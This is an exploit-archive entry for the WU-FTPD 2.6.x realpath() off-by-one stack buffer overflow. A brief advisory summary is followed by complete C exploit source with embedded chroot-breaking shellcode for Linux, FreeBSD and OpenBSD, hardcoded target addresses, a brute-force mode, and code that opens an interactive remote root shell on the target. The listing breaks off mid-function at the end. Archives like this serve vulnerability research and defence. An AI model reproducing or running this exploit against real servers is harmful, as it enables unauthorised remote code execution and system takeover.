WU-FTPD 2.6.0/2.6.1/2.6.2 - 'realpath()' Off-by-One Buffer Overflow

EDB-ID:

22975


Author:

Xpl017Elz

Type:

remote


Platform:

Unix

Date:

2003-08-06


// source: https://www.securityfocus.com/bid/8315/info
 
The 'realpath()' function is a C-library procedure to resolve the canonical, absolute pathname of a file based on a path that may contain values such as '/', './', '../', or symbolic links. A vulnerability that was reported to affect the implementation of 'realpath()' in WU-FTPD has lead to the discovery that at least one implementation of the C library is also vulnerable. FreeBSD has announced that the off-by-one stack- buffer-overflow vulnerability is present in their libc. Other systems are also likely vulnerable.
 
Reportedly, this vulnerability has been successfully exploited against WU-FTPD to execute arbitrary instructions.
 
NOTE: Patching the C library alone may not remove all instances of this vulnerability. Statically linked programs may need to be rebuilt with a patched version of the C library. Also, some applications may implement their own version of 'realpath()'. These applications would require their own patches. FreeBSD has published a large list of applications that use 'realpath()'. Administrators of FreeBSD and other systems are urged to review it. For more information, see the advisory 'FreeBSD-SA-03:08.realpath'.

/*
**
** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
** 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
**
** Update: 
** [v0.0.2] August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
** [v0.0.3] August 3, Brute-Force function addition.
** [v0.0.4] August 4, Added FreeBSD, OpenBSD version wu-ftpd-2.6.x exploit.
** It will be applied well to most XxxxBSD.
** [v0.0.5] August 4, Remote scan & exploit test function addition.
** August 6, Cleaning.
**
*/

#define VERSION "v0.0.5"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH_LINUX 15
#define DEF_ANSH_FRBSD 55
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR_LINUX "/home/"
#define HOME_DIR_FRBSD "/usr/home/"
#define HOME_DIR_OPBSD "/home/"
#define DEF_HOST "localhost"
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec bash -i\n"
#define DEF_COMM_OB "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec sh -i\n"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"
#define CMD_ERROR "500"

void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock,u_long scs_addr);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();
int bscann(char *chk_ban);
int check_exp(int sock);

struct os
{
	int num;
	char *v_nm;
	u_long sh_addr;
	u_long bf_addr;
	char *shellcode;
	int off_st;
	char *home;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
int __exp_test=(NRL); /* check exploit test */
int b_scan=(NRL); /* banner check */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char lnx_shellcode_ffx2[]=
	/* setuid/chroot-break/execve shellcode by Lam3rZ */
	"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
	"\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
	"\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
	"\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
	"\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
	"\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
	"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
	"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
"\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
	"\x2e\x2e\x31\x31";

char bsd_shellcode_ffx2[]=
	/* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
	"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
	"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0\x88"
	"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
	"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
	"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
	"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
	"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
	"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
	"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30"
	"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
	"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
	"\x63\x6f\x6d";

struct os plat[]=
{
	/*
	** I enjoy version up, will not share more. :-}
	*/
	{
	0,"RedHat Linux 6.x Version wu-2.6.0 compile",0x0806a59c,
	0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
	},
	{
	1,"RedHat Linux 6.x Version wu-2.6.1 compile",0x0806aad8,
	0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
	},
	{
	2,"RedHat Linux 6.x Version wu-2.6.2 compile",0x0806aa60,
	0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
	},
	{
	3,"FreeBSD 4.6.2-RELEASE Version wu-2.6.0 compile",0x0806b826,
	0x0806b026,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
	},
	{
	4,"FreeBSD 4.6.2-RELEASE Version wu-2.6.1 compile",0x0806cb36,
	0x0806c036,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
	},
	{
	5,"FreeBSD 4.6.2-RELEASE Version wu-2.6.2 compile",0x0806ccaa,
	0x0806c082,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
	},
	{
	6,"OpenBSD 3.0 Version wu-2.6.0 compile",0xdfbfc8f8,
	0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
	},
	{
	7,"OpenBSD 3.0 Version wu-2.6.1 compile",0xdfbfc8f8,
	0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
	},
	{
	8,"OpenBSD 3.0 Version wu-2.6.2 compile",0xdfbfc8f8,
	0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
	},
	{
	0x82,NULL,0x0,0x0,NULL,0,NULL
	}
};

void prcode_usage(char *f_nm)
{
	int r_n=(NRL);
	fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
	fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n");
	fprintf(stdout," \t-u [userid] : User id.\n");
	fprintf(stdout," \t-p [passwd] : User password.\n");
	fprintf(stdout," \t-n [port num] : Target port number.\n");
	fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n");
	fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n");
	fprintf(stdout," \t-i : help information.\n");
	fprintf(stdout," \t-q : banner scan mode.\n");
	fprintf(stdout," \t-c : check exploit test.\n");
	fprintf(stdout," \t-t [target num] : Select target number.\n");
	fprintf(stdout," \t-b [target num] : Brute-Force mode. (Select target number)\n\n");
	for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
	{
		fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
	}
	fprintf(stdout,"\n Example1: %s -hlocalhost -ux82 -px82 -n21 -t0",f_nm);
	fprintf(stdout,"\n Example2: %s -hwu_sub -ux82 -px82 -n21 -b0",f_nm);
	fprintf(stdout,"\n Example3: %s -h0 -ux82 -px82 -qc -t0\n\n",f_nm);
	exit(FAD);
}

u_long null_chk(u_long sh_addr)
{
	int chk_0x2f=(NRL);
	for(chk_0x2f=(NRL);chk_0x2f<0x20;chk_0x2f+=(DEF_ALIGN*2))
	{
		if((sh_addr>>(chk_0x2f)&0xff)==(0x2f))
		{
		fprintf(stderr," [-] slash was included to &shellcode address.\n\n");
		exit(FAD);
		}
	}
	if((sh_addr>>(NRL)&0xff)==(0x00))
	{
		return(sh_addr+=(SCS));
	}
	else return(sh_addr);
}

int bscann(char *chk_ban)
{
	fprintf(stdout,"\n [+] Checking, banner ...\n");
	if(strstr(chk_ban,"wu-2.6.0"))
	{
	fprintf(stdout," [*] [wu-ftpd-2.6.0]: This is version that exploit is possible.\n\n");
	return(SCS);
	}
	else if(strstr(chk_ban,"wu-2.6.1"))
	{
	fprintf(stdout," [*] [wu-ftpd-2.6.1]: This is version that exploit is possible.\n\n");
	return(SCS);
	}
	else if(strstr(chk_ban,"wu-2.6.2"))
	{
	fprintf(stdout," [*] [wu-ftpd-2.6.2]: This is version that exploit is possible.\n\n");
	return(SCS);
	}
	else
	{
	fprintf(stdout," [x] This version does not support exploit.\n");
	return(FAD);
	}
}

void ftpd_login(int sock,char *user,char *pass)
{
	char send_recv[(GET_R)];

	(u_int)sleep(SCS);
	memset((char *)send_recv,(NRL),sizeof(send_recv));
	recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

	if(b_scan)
	{
		b_scan=(NRL);
		if(((int)bscann(send_recv))==(FAD))
		{
			fprintf(stdout," [-] exploit stop.\n\n");
			exit(FAD);
		}
	}
	if(!strstr(send_recv,(FTP_CONN_SCS)))
	{
		fprintf(stdout," [-] ftpd connection failure.\n\n");
		close(sock);
		exit(FAD);
	}
	else fprintf(stdout," [*] ftpd connection success.\n");
	fprintf(stdout," [+] User id input.\n");

	memset((char *)send_recv,(NRL),sizeof(send_recv));
	snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
	send(sock,send_recv,strlen(send_recv),(NRL));

	(u_int)sleep(SCS);
	memset((char *)send_recv,(NRL),sizeof(send_recv));
	recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

	if(!strstr(send_recv,(FTP_USER_FAD)))
	{
		fprintf(stdout," [-] User id input failure.\n\n");
		close(sock);
		exit(FAD);
	}
	else fprintf(stdout," [+] User password input.\n");

	memset((char *)send_recv,(NRL),sizeof(send_recv));
	snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
	send(sock,send_recv,strlen(send_recv),(NRL));

	(u_int)sleep(SCS);
	memset((char *)send_recv,(NRL),sizeof(send_recv));
	recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

	if(strstr(send_recv,(FTP_LOGIN_FAD)))
	{
		fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
		close(sock);
		exit(FAD);
	}
	else if(strstr(send_recv,(FTP_LOGIN_SCS)))
	{
		fprintf(stdout," [*] User %s logged in.\n",user);
	}
	else
	{
		fprintf(stdout," [-] ftpd handshake failure.\n\n");
		close(sock);
		exit(FAD);
	}
	return;
}

int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
{
	int dr_n=(NRL),cmd_f=(NRL);
	char get_nm[(GET_R)];

	memset((char *)dir_nm,(NRL),(GET_R));
	/* MKD command */
	dir_nm[cmd_f++]=(0x4d);
	dir_nm[cmd_f++]=(0x4b);
	dir_nm[cmd_f++]=(0x44);
	dir_nm[cmd_f++]=(0x20);

	for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
	{
		dir_nm[dr_n]=(gb_character);
	}
	dir_nm[dr_n++]=(0x0d);
	dir_nm[dr_n++]=(0x0a);

	if(type)
	{
		send(sock,dir_nm,strlen(dir_nm),(NRL));
		(u_int)sleep(SCS);
		memset((char *)get_nm,(NRL),sizeof(get_nm));
		recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

	if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
		{
			fprintf(stdout," [-] MKD command failed.\n\n");
			exit(FAD);
		}
	}
	/* CMD command */
	cmd_f=(NRL);
	dir_nm[cmd_f++]=(0x43);
	dir_nm[cmd_f++]=(0x57);
	dir_nm[cmd_f++]=(0x44);

	send(sock,dir_nm,strlen(dir_nm),(NRL));
	(u_int)sleep(SCS);
	memset((char *)get_nm,(NRL),sizeof(get_nm));
	recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

	if(!strstr(get_nm,(CWD_COMM_SCS)))
	{
		fprintf(stdout," [-] CWD command failed.\n\n");
		exit(FAD);
	}
	return;
}

int send_shellcode(int sock,int type,char *dir_nm)
{
	int dr_n=(NRL),cmd_f=(NRL);
	char get_nm[(GET_R)];

	memset((char *)dir_nm,(NRL),(GET_R));
	/* MKD command */
	dir_nm[cmd_f++]=(0x4d);
	dir_nm[cmd_f++]=(0x4b);
	dir_nm[cmd_f++]=(0x44);
	dir_nm[cmd_f++]=(0x20);
	
for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(plat
[t_g].shellcode);dr_n++)
	{
		dir_nm[dr_n]=(DEF_NOP);
	}
	for(cmd_f=(NRL);cmd_f<strlen(plat[t_g].shellcode);cmd_f++)
	{
		dir_nm[dr_n++]=plat[t_g].shellcode[cmd_f];
	}
	dir_nm[dr_n++]=(0x0d);
	dir_nm[dr_n++]=(0x0a);

	if(type)
	{
		send(sock,dir_nm,strlen(dir_nm),(NRL));
		(u_int)sleep(SCS);
		memset((char *)get_nm,(NRL),sizeof(get_nm));
		recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

		if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
		{
			fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
			exit(FAD);
		}
	}
	/* CMD command */
	cmd_f=(NRL);
	dir_nm[cmd_f++]=(0x43);
	dir_nm[cmd_f++]=(0x57);
	dir_nm[cmd_f++]=(0x44);

	send(sock,dir_nm,strlen(dir_nm),(NRL));
	(u_int)sleep(SCS);
	memset((char *)get_nm,(NRL),sizeof(get_nm));
	recv(sock,get_nm,(GET_R)-1,(NRL));

	if(!strstr(get_nm,(CWD_COMM_SCS)))
	{
		fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
		exit(FAD);
	}
	return;
}

void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
{
	char atk_bf[(GET_R)];
	switch(t_g)
	{
		case 0:
		case 1:
		case 2:
		fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41));	/* 01 */
		fprintf(stdout," [+] 02: make shell-code directory.\n");
		(int)send_shellcode(sock,d_type,(atk_bf));	/* 02 */
		fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43));	/* 03 */
		fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44));	/* 04 */
		fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45));	/* 05 */
		fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46));	/* 06 */
		fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47));	/* 07 */
		fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48));	/* 08 */
		fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49));	/* 09 */
		fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50));	/* 10 */
		fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51));	/* 11 */
		fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52));	/* 12 */
		fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53));	/* 13 */
		fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54));	/* 14 */
		fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
		(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55));	/* 15 */
		(int)make_retloc(sock,type,(atk_bf),sh_addr);	/* 16 */
		break;
		case 3:
		case 4:
		case 5:
		case 6:
		case 7:
		case 8:
			fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
			(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41));	/* 01 */
			fprintf(stdout," [+] 02: make shell-code directory.\n");
			(int)send_shellcode(sock,d_type,(atk_bf));	/* 02 */
			fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
			(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43));	/* 03 */
			(int)make_retloc(sock,type,(atk_bf),sh_addr);	/* 04 */
			break;
	}
	if(type&&__exp_test)
	{
		__exp_test=(NRL);
		if(((int)check_exp(sock))==(FAD))
		{
			fprintf(stderr," [-] This isn't vulnerable.\n\n");
			exit(FAD);
		}
	}
	return;
}

int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
{
	int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
	char get_nm[(GET_R)];

	memset((char *)atk_bf,(NRL),(GET_R));
	if(type) /* MKD command */
	{
		atk_bf[cmd_f++]=(0x4d);
		atk_bf[cmd_f++]=(0x4b);
		atk_bf[cmd_f++]=(0x44);
		atk_bf[cmd_f++]=(0x20);
	}
	else /* RMD command */
	{
		atk_bf[cmd_f++]=(0x52);
		atk_bf[cmd_f++]=(0x4d);
		atk_bf[cmd_f++]=(0x44);
		atk_bf[cmd_f++]=(0x20);
	}
for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(plat[t_g].off_st);r_rn_2++)
		atk_bf[r_rn_1++]=(0x41);
	{
		int chk_0xff=(NRL);
		switch(t_g)
		{
			case 0:
			case 1:
			case 2:
				/* frame pointer */
				*(long *)&atk_bf[r_rn_1]=0x82828282;
				r_rn_1+=(DEF_ALIGN);
			for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
				{
					if((sh_addr>>(chk_0xff)&0xff)==(0xff))
						atk_bf[r_rn_1++]=0xff;
				atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
				}
				break;
			case 3:
			case 4:
			case 5:
				/* frame pointer */
				*(long *)&atk_bf[r_rn_1]=0x82828282;
				r_rn_1+=(DEF_ALIGN);
			for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
				{
				if((sh_addr>>(chk_0xff)&0xff)==(0xff))
					atk_bf[r_rn_1++]=0xff;
				atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
				}
			for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
				{
					atk_bf[r_rn_1++]=(0x41);
				}
				break;
			case 6:
			case 7:
			case 8:
			for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
				{
					atk_bf[r_rn_1++]=(0x41);
				}
				/* frame pointer */
				*(long *)&atk_bf[r_rn_1]=0x82828282;
				r_rn_1+=(DEF_ALIGN);
			for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
				{
					if((sh_addr>>(chk_0xff)&0xff)==(0xff))
						atk_bf[r_rn_1++]=0xff;
				atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
				}
				break;
		}
		*(long *)&atk_bf[r_rn_1]=0x41414141;
		r_rn_1+=(DEF_ALIGN);
		*(long *)&atk_bf[r_rn_1]=0x0d414141;
		r_rn_1+=(DEF_ALIGN);
		atk_bf[r_rn_1++]=(0x0a);
	}
	send(sock,atk_bf,strlen(atk_bf),(NRL));
	(u_int)sleep(SCS);
	memset((char *)get_nm,(NRL),sizeof(get_nm));
	recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

	if(type) /* MKD command */
	{
		if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
		{
			fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
			exit(FAD);
		}
		else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
	}
	else /* RMD command */
	{
		if(!strstr(get_nm,(CWD_COMM_SCS)))
		{
			fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
			exit(FAD);
		}
		else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
	}
	return;
}

int main(int argc,char *argv[])
{
	int opt_g,sock,__bf=(NRL);
	int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
	char user_id[(DEF_VA)]=(DEF_STR);
	char pass_wd[(DEF_VA)]=(DEF_STR);
	char tg_host[(DEF_VA)]=(DEF_HOST);
	int tg_port=(DEF_PORT);
	u_long sh_addr=(plat[t_g].sh_addr);

	(void)banrl();
while((opt_g=getopt(argc,argv,"QqCcM:m:H:h:U:u:P:p:N:n:S:s:T:t:B:b:Ii"))!=EOF)
	{
		extern char *optarg;
		switch(opt_g)
		{
			case 'Q':
			case 'q':
				fprintf(stdout," [*] Banner scan mode.\n");
				b_scan=(SCS);
				break;
				
			case 'C':
			case 'c':
				fprintf(stdout," [*] Check exploit test mode.\n");
				__exp_test=(SCS);
				break;

			case 'M':
			case 'm':
				mx_bf=(atoi(optarg));
				bf_lsz=((0x1000)/mx_bf);
				break;

			case 'H':
			case 'h':
				memset((char *)tg_host,(NRL),sizeof(tg_host));
				strncpy(tg_host,optarg,sizeof(tg_host)-1);
				break;
				
			case 'U':
			case 'u':
				memset((char *)user_id,(NRL),sizeof(user_id));
				strncpy(user_id,optarg,sizeof(user_id)-1);
				break;
				
			case 'P':
			case 'p':
			memset((char *)pass_wd,(NRL),sizeof(pass_wd));
				strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
				break;
				
			case 'N':
			case 'n':
				tg_port=(atoi(optarg));
				break;
				
			case 'S':
			case 's':
				sh_addr=strtoul(optarg,(NRL),(NRL));
				break;
				
			case 'T':
			case 't':
				if((t_g=(atoi(optarg)))<(9))
					sh_addr=(plat[t_g].sh_addr);
				else (void)prcode_usage(argv[(NRL)]);
				break;
				
			case 'B':
			case 'b':
				if((t_g=(atoi(optarg)))<(9))
				{
					sh_addr=(plat[t_g].bf_addr);
					__bf=(SCS);
				}
				else (void)prcode_usage(argv[(NRL)]);
				break;
				
			case 'I':
			case 'i':
				(void)prcode_usage(argv[(NRL)]);
				break;
				
			case '?':
				(void)prcode_usage(argv[(NRL)]);
				break;
		}
	}
	if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
		(void)prcode_usage(argv[(NRL)]);
	
	memset((char *)home_dir,(NRL),sizeof(home_dir));
	snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(plat[t_g].home),user_id);

	if(!__bf)
	{
		fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
		sh_addr=(u_long)null_chk(sh_addr);
		fprintf(stdout," [+] address: %p.\n",sh_addr);
		fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
		fflush(stdout);

		sock=(int)setsock(tg_host,tg_port);
		(void)re_connt(sock);
		fprintf(stdout," [ OK ]\n");

		fprintf(stdout," [1] ftpd connection login.\n");
		(void)ftpd_login(sock,user_id,pass_wd);

		fprintf(stdout," [2] send exploit code.\n");
		(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
		close(sock);

		fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
		fflush(stdout);

		sock=(int)setsock(tg_host,tg_port);
		(void)re_connt(sock);
		fprintf(stdout," [ OK ]\n");

		fprintf(stdout," [3] ftpd connection login.\n");
		(void)ftpd_login(sock,user_id,pass_wd);

		fprintf(stdout," [4] send exploit code.\n");
		(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

		fprintf(stdout," [5] Waiting, execute the shell ");
		fflush(stdout);
		(u_int)sleep(SCS);
		
		fprintf(stdout,".");
		fflush(stdout);
		(u_int)sleep(SCS);
		
		fprintf(stdout,".");
		fflush(stdout);
		(u_int)sleep(SCS);

		fprintf(stdout,".\n");
		(void)conn_shell(sock,sh_addr);
		close(sock);
	}
	else
	{
		int bt_num=(NRL);
		fprintf(stdout," [*] Brute-Force mode.\n");
		fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
		fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);

		for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
		{
			sh_addr=(u_long)null_chk(sh_addr);
			fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
			fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
			fflush(stdout);
			
			sock=(int)setsock(tg_host,tg_port);
			(void)re_connt(sock);
			fprintf(stdout," [ OK ]\n");
			
			fprintf(stdout," [1] ftpd connection login.\n");
			(void)ftpd_login(sock,user_id,pass_wd);
			
			fprintf(stdout," [2] send exploit code.\n");
			if(bt_num==(NRL))
			{
			(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
			}
			else
			{
			(void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
			}
			close(sock);
			
			fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
			fflush(stdout);
			
			sock=(int)setsock(tg_host,tg_port);
			(void)re_connt(sock);
			fprintf(stdout," [ OK ]\n");
			
			fprintf(stdout," [3] ftpd connection login.\n");
			(void)ftpd_login(sock,user_id,pass_wd);
			
			fprintf(stdout," [4] send exploit code.\n");
			(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
			
			fprintf(stdout," [5] Waiting, execute the shell ");
			fflush(stdout);
			(u_int)sleep(SCS);

			fprintf(stdout,".");
			fflush(stdout);
			(u_int)sleep(SCS);
			
			fprintf(stdout,".");
			fflush(stdout);
			(u_int)sleep(SCS);
			
			fprintf(stdout,".\n");
			(void)conn_shell(sock,sh_addr);
			close(sock);

			sh_addr+=(bf_lsz);
		}
	}
	exit(NRL);
}

int setsock(char *u_host,int u_port)
{
	int sock;
	struct hostent *sxp;
	struct sockaddr_in sxp_addr;
 
	if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
	{
		return(FAD);
	}
	if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
	{
		return(FAD);
	}
	sxp_addr.sin_family=AF_INET;
	sxp_addr.sin_port=htons(u_port);
	sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
	bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));

	if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
	{
		return(FAD);
	}
	return(sock);
}

void conn_shell(int conn_sock,u_long scs_addr)
{
	int died;
	int ex_t=(NRL);
	char *command,readbuf[(GET_R)];
	fd_set rset;

	switch(t_g)
	{
		case 0:
		case 1:
		case 2:
		case 3:
		case 4:
		case 5:
			command=(DEF_COMM);
			break;
		case 6:
		case 7:
		case 8:
			command=(DEF_COMM_OB);
			break;
	}
	memset((char *)readbuf,(NRL),sizeof(readbuf));
	fprintf(stdout," [*] Send, command packet !\n\n");
	send(conn_sock,command,strlen(command),(NRL));

	for(;;)
	{
		fflush(stdout);
		FD_ZERO(&rset);
		FD_SET(conn_sock,&rset);
		FD_SET(STDIN_FILENO,&rset);
		select(conn_sock+1,&rset,NULL,NULL,NULL);

		if(FD_ISSET(conn_sock,&rset))
		{
			died=read(conn_sock,readbuf,sizeof(readbuf)-1);
			if(died<=(NRL))
			{
				if(!ex_t)
